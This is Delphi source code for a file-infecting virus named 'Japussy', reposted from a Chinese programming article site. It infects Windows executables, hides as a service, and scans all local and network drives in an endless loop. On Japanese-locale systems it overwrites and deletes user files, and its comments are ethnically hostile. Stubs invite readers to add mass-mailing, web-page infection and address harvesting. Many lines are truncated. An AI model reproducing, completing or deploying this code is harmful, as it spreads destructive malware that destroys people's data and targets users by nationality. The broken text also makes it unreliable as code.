program Japussy;
uses
Windows
const
HeaderSize =
IconOffset = $
//在我的Delphi
//查找
{
HeaderSize =
IconOffset = $
//Upx
}
IconSize = $
IconTail = IconOffset + IconSize; //PE文件主圖標的尾部
ID = $
//垃圾碼
Catchword =
{$R *
function RegisterServiceProcess(dwProcessID
stdcall; external
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系統標記
{ 判斷是否為Win
function IsWin
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver
if not GetVersionEx(Ver) then
Exit;
if (Ver
Result := True;
end;
{ 在流之間復制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos
begin
sCurPos := Src
dCurPos := Dst
Src
Dst
Dst
Src
Dst
end;
{ 將宿主文件從已感染的PE文件中分離出來
procedure ExtractFile(FileName: string);
var
sStream
begin
try
sStream := TFileStream
try
dStream := TFileStream
try
sStream
dStream
finally
dStream
end;
finally
sStream
end;
except
end;
end;
{ 填充STARTUPINFO結構 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si
Si
Si
Si
Si
Si
Si
Si
end;
{ 發帶毒郵件 }
procedure SendMail;
begin
//哪位仁兄願意完成之?
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
HdrStream
IcoStream
iID: LongInt;
aIcon: TIcon;
Infected
i: Integer;
Buf: array[
begin
try //出錯則文件正在被使用
if CompareText(FileName
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream
try
for i :=
begin
SrcStream
SrcStream
if (Buf[
begin
IsPE := True; //是PE文件
Break;
end;
end;
// 本文轉自 C++Builder 研究
SrcStream
SrcStream
if (iID = ID) or (SrcStream
Infected := True;
finally
SrcStream
end;
if Infected or (not IsPE) then //如果感染過了或不是PE文件則退出
Exit;
IcoStream := TMemoryStream
DstStream := TMemoryStream
try
aIcon := TIcon
try
//得到被感染文件的主圖標(
aIcon
aIcon
aIcon
finally
aIcon
end;
SrcStream := TFileStream
//頭文件
HdrStream := TFileStream
try
//寫入病毒體主圖標之前的數據
CopyStream(HdrStream
//寫入目前程序的主圖標
CopyStream(IcoStream
//寫入病毒體主圖標到病毒體尾部之間的數據
CopyStream(HdrStream
//寫入宿主程序
CopyStream(SrcStream
//寫入已感染的標記
DstStream
iID := $
DstStream
finally
HdrStream
end;
finally
SrcStream
IcoStream
DstStream
DstStream
end;
except;
end;
end;
{ 將目標文件寫入垃圾碼後刪除 }
procedure SmashFile(FileName: string);
var
FileHandle: Integer;
i
begin
try
SetFileAttributes(PChar(FileName)
FileHandle := FileOpen(FileName
try
Size := GetFileSize(FileHandle
i :=
Randomize;
Max := Random(
if Max <
Max :=
Mass := Size div Max; //每個間隔塊的大小
Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle
//寫入垃圾碼
FileWrite(FileHandle
Inc(i);
end;
finally
FileClose(FileHandle); //關閉文件
end;
DeleteFile(PChar(FileName)); //刪除之
except
end;
end;
{ 獲得可寫的驅動器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i :=
begin
D := Chr(i +
Str := D +
DiskType := GetDriveType(PChar(Str));
//得到本地磁盤和網絡盤
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍歷目錄
procedure LoopFiles(Path
var
i
Fn
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec
(SearchRec
Result :=
else if (SearchRec
(SearchRec
Result :=
else Result :=
end;
begin
if (FindFirst(Path + Mask
begin
repeat
PeekMessage(Msg
if IsValidDir(SearchRec) =
begin
Fn := Path + SearchRec
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext =
begin
InfectOneFile(Fn); //感染可執行文件
end
else if (Ext =
begin
//感染HTML和ASP文件
//感染浏覽此網頁的所有用戶
//哪位大兄弟願意完成之?
end
else if Ext =
begin
//獲取Outlook郵件地址
end
else if Ext =
begin
//獲取Foxmail郵件地址
end
else if Ext =
begin
//獲取Foxmail郵件地址
end
else
begin
if IsJap then //是倭文操作系統
begin
if (Ext =
(Ext =
(Ext =
(Ext =
(Ext =
(Ext =
SmashFile(Fn); //摧毀文件
end;
end;
end;
//感染或刪除一個文件後睡眠
Sleep(
until (FindNext(SearchRec) <>
end;
FindClose(SearchRec);
SubDir := TStringList
if (FindFirst(Path +
begin
repeat
if IsValidDir(SearchRec) =
SubDir
until (FindNext(SearchRec) <>
end;
FindClose(SearchRec);
Count := SubDir
for i :=
LoopFiles(Path + SubDir
FreeAndNil(SubDir);
end;
{ 遍歷磁盤上所有的文件 }
procedure InfectFiles;
var
DriverList: string;
i
begin
if GetACP =
IsJap := True; //去死吧!
DriverList := GetDrives; //得到可寫的磁盤列表
Len := Length(DriverList);
while True do //死循環
begin
for i := Len downto
LoopFiles(DriverList[i] +
SendMail; //發帶毒郵件
Sleep(
end;
end;
{ 主程序開始 }
begin
if IsWin
RegisterServiceProcess(GetCurrentProcessID
else //WinNT
begin
//遠程線程映射到Explorer進程
//哪位兄台願意完成之?
end;
//如果是原始病毒體自己
if CompareText(ExtractFileName(ParamStr(
InfectFiles //感染和發郵件
else //已寄生於宿主程序上了
begin
TmpFile := ParamStr(
Delete(TmpFile
TmpFile := TmpFile + #
ExtractFile(TmpFile); //分離之
FillStartupInfo(Si
CreateProcess(PChar(TmpFile)
InfectFiles; //感染和發郵件
end;
end
From:http://tw.wingwit.com/Article/program/Delphi/201311/11123.html